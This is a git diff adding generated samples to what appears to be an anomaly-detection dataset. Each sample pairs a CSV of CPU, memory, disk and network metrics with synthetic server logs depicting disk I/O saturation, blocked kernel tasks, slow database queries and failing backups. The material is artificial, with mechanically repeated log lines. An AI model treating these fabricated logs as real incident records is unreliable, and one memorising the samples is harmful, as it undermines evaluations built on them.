10:06:40 kubelet[2345]: INFO Liveness probe for container 'database' failed: command timed out. diff --git a/anom_dataset/scenario_4/anom_4_29.csv b/anom_dataset/scenario_4/anom_4_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..f01e63bac9988f0f8e6da03ae712e56269c5b5bd --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:20:00Z,14.9,55.94,29.34,0.86,1.24 +2025-07-15T14:20:05Z,13.19,54.31,38.28,0.85,1.0 +2025-07-15T14:20:10Z,13.2,55.63,32.69,0.84,1.15 +2025-07-15T14:20:15Z,16.39,56.31,33.37,0.64,1.07 +2025-07-15T14:20:20Z,15.12,54.61,35.62,0.78,1.25 +2025-07-15T14:20:25Z,9.84,56.73,34.03,0.83,1.32 +2025-07-15T14:20:30Z,13.22,54.45,37.0,0.72,1.4 +2025-07-15T14:20:35Z,15.7,58.04,29.94,0.81,1.31 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+2025-07-15T14:27:20Z,15.2,52.94,32.49,0.73,1.29 +2025-07-15T14:27:25Z,13.27,53.76,26.2,0.77,1.17 diff --git a/anom_dataset/scenario_4/anom_4_29.log b/anom_dataset/scenario_4/anom_4_29.log new file mode 100644 index 0000000000000000000000000000000000000000..1e45de838c1277fc7f09299f3437d2a4e69f8dc5 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_29.log @@ -0,0 +1,13 @@ +Jul 15 14:20:05 systemd[1]: Started Session 5 of user db_admin. +Jul 15 14:20:15 CRON[18231]: (root) CMD ( /usr/lib/postgresql/13/bin/pg_autoctl_run) +Jul 15 14:20:50 sshd[18290]: Accepted publickey for db_admin from 10.0.2.5 port 48722 ssh2 +Jul 15 14:21:40 kernel: [1892.103] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sssd" +Jul 15 14:22:40 postgres[15321]: [3-1] LOG: duration: 15230.150 ms statement: SELECT * FROM user_activity WHERE created_at > '2025-07-15'; +Jul 15 14:23:10 postgres[15329]: [4-1] LOG: duration: 18105.421 ms statement: COPY daily_sales TO '/var/lib/postgresql/backups/daily.csv' WITH CSV HEADER; +Jul 15 14:23:45 postgres[15321]: [5-1] WARNING: worker took too long to start; canceled +Jul 15 14:25:00 kernel: [2132.881] INFO: task kworker/u8:1:18991 blocked for more than 120 seconds. +Jul 15 14:25:05 kernel: [2132.881] Tainted: P O 5.4.0-109-generic #123-Ubuntu +Jul 15 14:25:10 kernel: [2132.881] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 15 14:26:15 systemd[1]: Starting Clean php session files... +Jul 15 14:26:40 CRON[19801]: (www-data) CMD ( /usr/lib/php/sessionclean) +Jul 15 14:27:20 systemd[1]: Finished Clean php session files. diff --git a/anom_dataset/scenario_4/anom_4_3.csv b/anom_dataset/scenario_4/anom_4_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..91af136ff9fa0623fb89bf0b778c15ec5878f1a3 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-17T03:00:00Z,21.39,40.42,26.75,0.67,1.55 +2025-07-17T03:00:05Z,11.84,39.94,23.15,0.61,1.89 +2025-07-17T03:00:10Z,15.02,40.3,24.93,0.8,1.85 +2025-07-17T03:00:15Z,12.8,41.28,22.89,1.07,1.71 +2025-07-17T03:00:20Z,11.54,38.09,22.9,0.79,1.56 +2025-07-17T03:00:25Z,17.04,40.12,20.89,0.83,1.39 +2025-07-17T03:00:30Z,19.33,38.79,20.83,0.7,0.97 +2025-07-17T03:00:35Z,12.43,42.68,23.37,0.75,1.43 +2025-07-17T03:00:40Z,23.34,44.46,28.91,0.97,1.75 +2025-07-17T03:00:45Z,13.27,34.65,28.47,1.03,1.42 +2025-07-17T03:00:50Z,18.24,40.65,20.44,0.66,1.86 +2025-07-17T03:00:55Z,18.11,36.06,24.92,0.82,1.48 +2025-07-17T03:01:00Z,11.44,39.82,31.73,1.18,1.82 +2025-07-17T03:01:05Z,19.55,41.21,26.31,0.8,1.42 +2025-07-17T03:01:10Z,18.79,39.3,18.11,1.27,1.67 +2025-07-17T03:01:15Z,12.78,38.41,16.34,0.61,1.46 +2025-07-17T03:01:20Z,22.16,40.52,19.78,1.22,1.4 +2025-07-17T03:01:25Z,16.98,40.71,13.23,0.99,1.12 +2025-07-17T03:01:30Z,9.78,36.03,22.1,1.01,1.96 +2025-07-17T03:01:35Z,20.65,43.51,32.79,0.94,1.42 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+2025-07-17T03:06:40Z,15.23,43.51,22.77,0.77,1.44 +2025-07-17T03:06:45Z,23.36,39.83,33.75,0.7,0.93 +2025-07-17T03:06:50Z,15.62,36.1,22.47,0.48,1.65 +2025-07-17T03:06:55Z,16.47,39.08,23.49,0.81,1.33 +2025-07-17T03:07:00Z,19.94,37.74,22.1,0.72,1.97 +2025-07-17T03:07:05Z,9.73,40.38,26.2,0.63,1.05 +2025-07-17T03:07:10Z,16.79,42.15,16.08,1.09,2.05 +2025-07-17T03:07:15Z,19.76,39.58,24.88,0.7,1.6 +2025-07-17T03:07:20Z,5.0,39.69,29.95,1.02,1.52 +2025-07-17T03:07:25Z,10.34,38.32,12.39,0.62,1.36 diff --git a/anom_dataset/scenario_4/anom_4_3.log b/anom_dataset/scenario_4/anom_4_3.log new file mode 100644 index 0000000000000000000000000000000000000000..f2b2b629db74871aea041c3484eb4a32beeaf2b6 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_3.log @@ -0,0 +1,32 @@ +Jul 17 03:00:25 sshd[5819]: Accepted publickey for admin from 10.0.2.15 port 43357 ssh2 +Jul 17 03:00:35 database-backup.sh[18765]: INFO Backup completed successfully. +Jul 17 03:00:45 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 17 03:00:50 systemd[1]: Finished Daily apt download activities. +Jul 17 03:01:30 cron[10471]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 03:01:35 database-backup.sh[18765]: INFO Backup completed successfully. +Jul 17 03:01:55 systemd[1]: Finished Daily apt download activities. +Jul 17 03:02:05 cron[10471]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 03:02:10 kernel[0]: INFO: task kworker/0:1H:21 blocked for more than 120 seconds. +Jul 17 03:02:10 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 17 03:02:20 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:02:25 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:02:35 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:02:45 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:02:55 kernel[0]: INFO: task python:1785 blocked for more than 120 seconds. +Jul 17 03:02:55 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 17 03:03:00 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:03:25 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:03:45 mysqld[3451]: WARN [InnoDB] A long-running query is causing performance degradation. +Jul 17 03:04:05 kernel[0]: Tainted: G W 5.4.0-109-generic #123-Ubuntu +Jul 17 03:04:10 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:04:35 mysqld[3451]: WARN [InnoDB] A long-running query is causing performance degradation. +Jul 17 03:04:40 database-backup.sh[18765]: INFO Backup completed successfully. +Jul 17 03:04:45 sshd[5819]: Accepted publickey for admin from 10.0.2.15 port 43357 ssh2 +Jul 17 03:04:50 database-backup.sh[18765]: INFO Starting database backup process. +Jul 17 03:05:05 file-processor[9012]: WARN File processing for batch "batch-13054.zip" is taking longer than expected. Check disk I/O. +Jul 17 03:05:20 sshd[5819]: Accepted publickey for admin from 10.0.2.15 port 43357 ssh2 +Jul 17 03:06:25 database-backup.sh[18765]: INFO Backup completed successfully. +Jul 17 03:06:35 sshd[5819]: Accepted publickey for admin from 10.0.2.15 port 43357 ssh2 +Jul 17 03:06:45 cron[10471]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 17 03:07:00 nginx[1123]: POST /api/v1/data HTTP/1.1 201 CREATED +Jul 17 03:07:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_4/anom_4_30.csv b/anom_dataset/scenario_4/anom_4_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..5514e60d48bba6e10ba9edd2497e48ceb57d50cd --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,15.442545560742483,41.74336527362364,29.545792324483116,0.9911166168982116,1.7448927383637172 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+2025-07-02T11:07:25Z,41.70698093929419,42.18688155995943,97.76201735293316,0.7013045280012469,0.5425835104173214 diff --git a/anom_dataset/scenario_4/anom_4_30.log b/anom_dataset/scenario_4/anom_4_30.log new file mode 100644 index 0000000000000000000000000000000000000000..7c6bda87365ff10fe9ae71fedc3fae5f1a95eb0c --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_30.log @@ -0,0 +1,24 @@ +Jul 02 11:00:00 kubelet[2345]: INFO routine sync completed for pod database-proxy +Jul 02 11:00:00 systemd[1]: Started Session 10 of user service. +Jul 02 11:00:25 sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Jul 02 11:00:35 systemd[1]: Started Session 17 of user service. +Jul 02 11:00:50 kubelet[2345]: INFO routine sync completed for pod database-proxy +Jul 02 11:01:10 systemd[1]: Started Session 24 of user service. +Jul 02 11:01:15 CRON[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:01:40 kubelet[2345]: INFO routine sync completed for pod database-proxy +Jul 02 11:01:45 systemd[1]: Started Session 31 of user service. +Jul 02 11:02:05 mysqld[1567]: INFO: [Note] /usr/sbin/mysqld: Normal shutdown +Jul 02 11:02:20 systemd[1]: Started Session 38 of user service. +Jul 02 11:02:30 mysqld[1599]: INFO: [Note] /usr/sbin/mysqld (mysqld 10.5.9-MariaDB-1:10.5.9+maria~focal) starting as process 1599 ... +Jul 02 11:02:40 app[1650]: INFO Starting batch processing of 1,000,000 records. +Jul 02 11:02:55 mysqld[1599]: WARN: InnoDB: A long semaphore wait:--Thread 140261313365824 has waited at btr/btr0cur.cc line 475 for 23 seconds the semaphore: +Jul 02 11:03:15 app[1650]: WARN: Database write operation took 15.2 seconds, exceeding threshold of 5 seconds. +Jul 02 11:03:45 sshd[2210]: Connection closed by 10.0.1.5 port 55234 +Jul 02 11:04:00 app[1650]: WARN: File I/O operation to /data/export.csv is unusually slow (25 seconds). +Jul 02 11:04:45 kernel: [45312.3452] INFO: task mysqld:1599 blocked for more than 120 seconds. +Jul 02 11:04:45 kernel: [45312.3459] Tainted: P O 5.4.0-100-generic #113-Ubuntu +Jul 02 11:04:45 kernel: [45312.3465] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 11:05:00 sshd[2210]: Connection closed by 10.0.1.5 port 55234 +Jul 02 11:05:05 app[1650]: ERROR: Failed to write to database: query timeout expired. +Jul 02 11:05:20 kubelet[2345]: WARN Liveness probe for pod 'database-pod' failed: Get "http://10.1.1.23:8080/health": context deadline exceeded (Client.Timeout exceeded while awaiting headers) +Jul 02 11:06:15 sshd[2210]: Connection closed by 10.0.1.5 port 55234 diff --git a/anom_dataset/scenario_4/anom_4_4.csv b/anom_dataset/scenario_4/anom_4_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..d9d5a7c4311c776c647d7ec1a191fd43220588e8 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-18T18:00:00Z,9.77,44.45,21.7,1.19,1.37 +2025-07-18T18:00:05Z,13.24,48.04,29.32,0.74,2.01 +2025-07-18T18:00:10Z,29.72,49.65,29.17,1.09,1.88 +2025-07-18T18:00:15Z,16.69,50.66,28.28,0.91,1.54 +2025-07-18T18:00:20Z,12.33,44.6,24.17,1.29,1.59 +2025-07-18T18:00:25Z,14.17,46.78,23.05,1.39,1.97 +2025-07-18T18:00:30Z,13.3,48.34,31.31,1.12,1.39 +2025-07-18T18:00:35Z,5.0,45.35,34.32,1.17,1.28 +2025-07-18T18:00:40Z,7.21,42.34,31.54,1.27,1.36 +2025-07-18T18:00:45Z,18.3,47.69,28.07,0.98,1.6 +2025-07-18T18:00:50Z,14.3,46.51,30.88,0.97,1.72 +2025-07-18T18:00:55Z,15.02,44.08,28.49,1.16,1.3 +2025-07-18T18:01:00Z,21.4,47.97,29.49,0.77,1.57 +2025-07-18T18:01:05Z,12.68,43.96,27.19,0.77,1.24 +2025-07-18T18:01:10Z,13.71,47.1,36.98,1.05,1.57 +2025-07-18T18:01:15Z,18.26,47.67,25.67,1.35,1.62 +2025-07-18T18:01:20Z,10.28,48.52,39.53,1.09,1.97 +2025-07-18T18:01:25Z,21.52,49.63,32.27,1.14,1.67 +2025-07-18T18:01:30Z,15.0,46.85,17.42,1.1,1.21 +2025-07-18T18:01:35Z,19.71,46.73,30.07,1.21,1.11 +2025-07-18T18:01:40Z,11.36,51.29,21.49,0.98,1.11 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+2025-07-18T18:03:25Z,63.34,46.87,100.0,0.34,0.84 +2025-07-18T18:03:30Z,67.81,51.28,97.6,0.44,0.25 +2025-07-18T18:03:35Z,55.6,44.79,97.38,0.27,0.28 +2025-07-18T18:03:40Z,75.61,48.25,99.75,0.68,0.5 +2025-07-18T18:03:45Z,57.73,47.08,97.12,0.1,0.24 +2025-07-18T18:03:50Z,54.68,44.41,98.74,0.44,0.64 +2025-07-18T18:03:55Z,62.33,47.38,100.0,0.25,0.56 +2025-07-18T18:04:00Z,52.13,50.0,100.0,0.45,0.33 +2025-07-18T18:04:05Z,44.11,49.38,98.6,0.25,0.2 +2025-07-18T18:04:10Z,45.04,50.79,97.68,0.34,0.63 +2025-07-18T18:04:15Z,51.04,47.75,98.57,0.13,0.2 +2025-07-18T18:04:20Z,57.83,50.55,100.0,0.28,0.3 +2025-07-18T18:04:25Z,74.58,46.37,93.72,0.38,0.79 +2025-07-18T18:04:30Z,77.06,49.04,98.99,0.14,0.2 +2025-07-18T18:04:35Z,63.41,49.17,97.49,0.74,0.54 +2025-07-18T18:04:40Z,67.81,45.68,97.4,0.57,0.93 +2025-07-18T18:04:45Z,44.56,50.81,98.75,0.35,0.29 +2025-07-18T18:04:50Z,60.97,45.82,95.85,0.35,0.37 +2025-07-18T18:04:55Z,72.05,46.47,97.06,0.37,0.66 +2025-07-18T18:05:00Z,70.01,46.78,100.0,0.25,0.54 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+2025-07-18T18:06:45Z,18.5,45.57,21.07,1.0,1.62 +2025-07-18T18:06:50Z,15.61,50.15,27.6,0.89,1.99 +2025-07-18T18:06:55Z,14.74,48.19,23.32,1.3,1.89 +2025-07-18T18:07:00Z,15.59,49.62,36.06,1.13,1.14 +2025-07-18T18:07:05Z,19.33,47.48,32.95,1.15,1.34 +2025-07-18T18:07:10Z,7.26,48.97,27.59,0.91,1.47 +2025-07-18T18:07:15Z,6.08,48.93,24.72,1.33,1.67 +2025-07-18T18:07:20Z,19.87,47.27,27.61,1.27,2.07 +2025-07-18T18:07:25Z,13.96,43.9,23.66,0.9,1.63 diff --git a/anom_dataset/scenario_4/anom_4_4.log b/anom_dataset/scenario_4/anom_4_4.log new file mode 100644 index 0000000000000000000000000000000000000000..26be9bfb2c439aa93417021bf7894ed8ef0066da --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_4.log @@ -0,0 +1,41 @@ +Jul 18 18:00:10 database-backup.sh[18765]: INFO Starting database backup process. +Jul 18 18:00:35 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 18 18:01:10 cron[14167]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 18 18:01:15 cron[14167]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 18 18:01:25 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 18 18:01:40 cron[14167]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 18 18:01:55 sshd[5700]: Accepted publickey for admin from 10.0.2.15 port 46031 ssh2 +Jul 18 18:02:25 kernel[0]: INFO: task kworker/0:1H:78 blocked for more than 120 seconds. +Jul 18 18:02:25 systemd[1]: Started Session 174 of user webadmin. +Jul 18 18:02:40 mysqld[3451]: WARN [InnoDB] A long-running query is causing performance degradation. +Jul 18 18:02:55 kernel[0]: INFO: task kworker/0:1H:78 blocked for more than 120 seconds. +Jul 18 18:02:55 systemd[1]: Finished Daily apt download activities. +Jul 18 18:03:05 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 18 18:03:25 file-processor[9012]: WARN File processing for batch "batch-17262.zip" is taking longer than expected. Check disk I/O. +Jul 18 18:03:35 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 18 18:03:40 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 18 18:03:40 cron[14167]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 18:03:45 file-processor[9012]: WARN File processing for batch "batch-17262.zip" is taking longer than expected. Check disk I/O. +Jul 18 18:03:55 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 18 18:04:00 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 18 18:04:05 kernel[0]: Tainted: G W 5.4.0-109-generic #123-Ubuntu +Jul 18 18:04:10 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 18 18:04:20 kernel[0]: INFO: task mysqld:1705 blocked for more than 120 seconds. +Jul 18 18:04:25 sshd[5700]: Accepted publickey for admin from 10.0.2.15 port 46031 ssh2 +Jul 18 18:04:35 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 18 18:04:40 kernel[0]: INFO: task mysqld:1705 blocked for more than 120 seconds. +Jul 18 18:04:45 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 18 18:04:50 file-processor[9012]: WARN File processing for batch "batch-17262.zip" is taking longer than expected. Check disk I/O. +Jul 18 18:04:55 kernel[0]: INFO: task kworker/0:1H:78 blocked for more than 120 seconds. +Jul 18 18:04:55 systemd[1]: Finished Daily apt download activities. +Jul 18 18:05:00 file-processor[9012]: WARN File processing for batch "batch-17262.zip" is taking longer than expected. Check disk I/O. +Jul 18 18:05:00 nginx[1123]: POST /api/v1/data HTTP/1.1 201 CREATED +Jul 18 18:05:10 api-server[8080]: ERROR Request timeout: failed to read from upstream database in 30s. +Jul 18 18:05:20 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 18 18:05:25 file-processor[9012]: WARN File processing for batch "batch-17262.zip" is taking longer than expected. Check disk I/O. +Jul 18 18:05:30 systemd[1]: Started Session 174 of user webadmin. +Jul 18 18:05:55 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 18 18:06:15 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 18 18:06:30 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded +Jul 18 18:07:20 auditd[1001]: User login succeeded for user ubuntu (uid=1000) +Jul 18 18:07:25 kubelet[2345]: INFO Liveness probe for container "api-gateway-v2" succeeded diff --git a/anom_dataset/scenario_4/anom_4_5.csv b/anom_dataset/scenario_4/anom_4_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..17bfaeecf615045eef79961aff0a93e1bcde8fc5 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T14:00:00Z,27.62,43.73,35.53,1.25,1.18 +2025-08-23T14:00:05Z,20.83,40.22,33.74,1.18,1.28 +2025-08-23T14:00:10Z,25.93,42.39,30.69,0.89,1.49 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+2025-08-23T14:06:55Z,27.98,42.99,36.88,0.78,1.53 +2025-08-23T14:07:00Z,23.99,40.07,28.38,0.83,1.08 +2025-08-23T14:07:05Z,28.92,44.35,33.98,1.12,1.57 +2025-08-23T14:07:10Z,31.28,44.06,41.64,1.15,1.31 +2025-08-23T14:07:15Z,20.31,43.01,38.8,1.16,1.12 +2025-08-23T14:07:20Z,26.66,40.61,29.4,0.89,1.32 +2025-08-23T14:07:25Z,23.03,41.83,32.74,1.21,1.35 diff --git a/anom_dataset/scenario_4/anom_4_5.log b/anom_dataset/scenario_4/anom_4_5.log new file mode 100644 index 0000000000000000000000000000000000000000..3555e534c09cd37469466d5914c47de7b3656003 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_5.log @@ -0,0 +1,40 @@ +Aug 23 14:00:00 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:00:05 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:00:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:00:20 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 14:00:35 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:00:55 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:01:10 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:01:25 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:01:35 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 14:01:45 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:01:45 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:02:20 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:02:35 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:02:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:02:50 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 14:02:55 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:02:55 kernel: [12345.67890] INFO: task mysqld:3102 blocked for more than 120 seconds. +Aug 23 14:02:55 kernel: [12345.67990] Tainted: G O 5.4.0-100-generic #113-Ubuntu +Aug 23 14:02:55 kernel: [12345.68090] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 23 14:03:20 webapp[8876]: WARN: Database query timeout after 30000ms: SELECT * FROM user_activity WHERE user_id = 'user123'; +Aug 23 14:03:25 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:03:30 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:03:55 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:04:00 backup-agent[2109]: ERROR: Failed to create snapshot for /var/lib/data. Operation timed out. +Aug 23 14:04:05 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:04:05 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 14:04:15 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:04:40 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:05:00 kernel: [12495.88123] INFO: task fio:4510 blocked for more than 120 seconds. +Aug 23 14:05:05 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:05:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:05:15 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:05:20 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 14:05:50 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:05:50 webapp[8876]: ERROR: High latency detected for file write operation: '/mnt/storage/session_data.tmp'. Response time: 45s +Aug 23 14:05:55 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 14:06:25 db-replica[4512]: INFO: replication lag is less than 1 second. +Aug 23 14:06:25 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:06:35 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 23 14:06:45 cron[18231]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) diff --git a/anom_dataset/scenario_4/anom_4_6.csv b/anom_dataset/scenario_4/anom_4_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..de7ef2444cc9dff24ceb7ff0eb9222a502b1badb --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,12.4,45.8,30.45,1.21,1.61 +2025-07-02T11:00:05Z,15.61,46.0,25.69,1.31,1.83 +2025-07-02T11:00:10Z,15.67,44.18,23.36,1.41,2.2 +2025-07-02T11:00:15Z,13.79,44.97,28.6,1.36,2.06 +2025-07-02T11:00:20Z,14.9,41.59,24.27,1.8,1.87 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+2025-07-02T11:07:05Z,29.14,46.06,50.12,1.71,1.79 +2025-07-02T11:07:10Z,27.08,43.28,40.66,1.52,2.12 +2025-07-02T11:07:15Z,24.08,43.18,33.75,1.64,2.13 +2025-07-02T11:07:20Z,21.16,42.45,24.22,1.58,1.51 +2025-07-02T11:07:25Z,12.19,44.65,33.45,1.16,1.89 diff --git a/anom_dataset/scenario_4/anom_4_6.log b/anom_dataset/scenario_4/anom_4_6.log new file mode 100644 index 0000000000000000000000000000000000000000..3f58cc32624b3e370faa1a37a9deb3e687c9493a --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_6.log @@ -0,0 +1,92 @@ +Jul 02 10:59:57 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:05 systemd[1]: Started Session 11 of user ubuntu. +Jul 02 11:00:07 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 11:00:13 systemd[1]: Started Session 13 of user ubuntu. +Jul 02 11:00:20 systemd[1]: Started Session 14 of user ubuntu. +Jul 02 11:00:24 db-service[4567]: INFO health check status: OK +Jul 02 11:00:29 systemd[1]: Started Session 16 of user ubuntu. +Jul 02 11:00:34 systemd[1]: Started Session 17 of user ubuntu. +Jul 02 11:00:39 systemd[1]: Started Session 18 of user ubuntu. +Jul 02 11:00:42 systemd[1]: Started Session 19 of user ubuntu. +Jul 02 11:00:48 sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Jul 02 11:00:53 systemd[1]: Started Session 21 of user ubuntu. +Jul 02 11:01:00 systemd[1]: Started Session 22 of user ubuntu. +Jul 02 11:01:04 systemd[1]: Started Session 23 of user ubuntu. +Jul 02 11:01:08 systemd[1]: Started Session 24 of user ubuntu. +Jul 02 11:01:12 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:20 systemd[1]: Started Session 26 of user ubuntu. +Jul 02 11:01:24 systemd[1]: Started Session 27 of user ubuntu. +Jul 02 11:01:30 systemd[1]: Started Session 28 of user ubuntu. +Jul 02 11:01:34 systemd[1]: Started Session 29 of user ubuntu. +Jul 02 11:01:39 sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Jul 02 11:01:44 systemd[1]: Started Session 31 of user ubuntu. +Jul 02 11:01:47 systemd[1]: Started Session 32 of user ubuntu. +Jul 02 11:01:52 systemd[1]: Started Session 33 of user ubuntu. +Jul 02 11:01:57 systemd[1]: Started Session 34 of user ubuntu. +Jul 02 11:02:05 db-service[4567]: INFO health check status: OK +Jul 02 11:02:10 systemd[1]: Started Session 36 of user ubuntu. +Jul 02 11:02:14 systemd[1]: Started Session 37 of user ubuntu. +Jul 02 11:02:20 systemd[1]: Started Session 38 of user ubuntu. +Jul 02 11:02:23 systemd[1]: Started Session 39 of user ubuntu. +Jul 02 11:02:28 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:02:33 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:02:40 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:02:45 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:02:50 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:02:52 mysqld[5502]: WARN InnoDB: Difficult to find free blocks in the buffer pool (21 search iterations)!. +Jul 02 11:02:59 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:03:02 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:10 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:15 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:20 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:22 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:29 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:03:33 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy 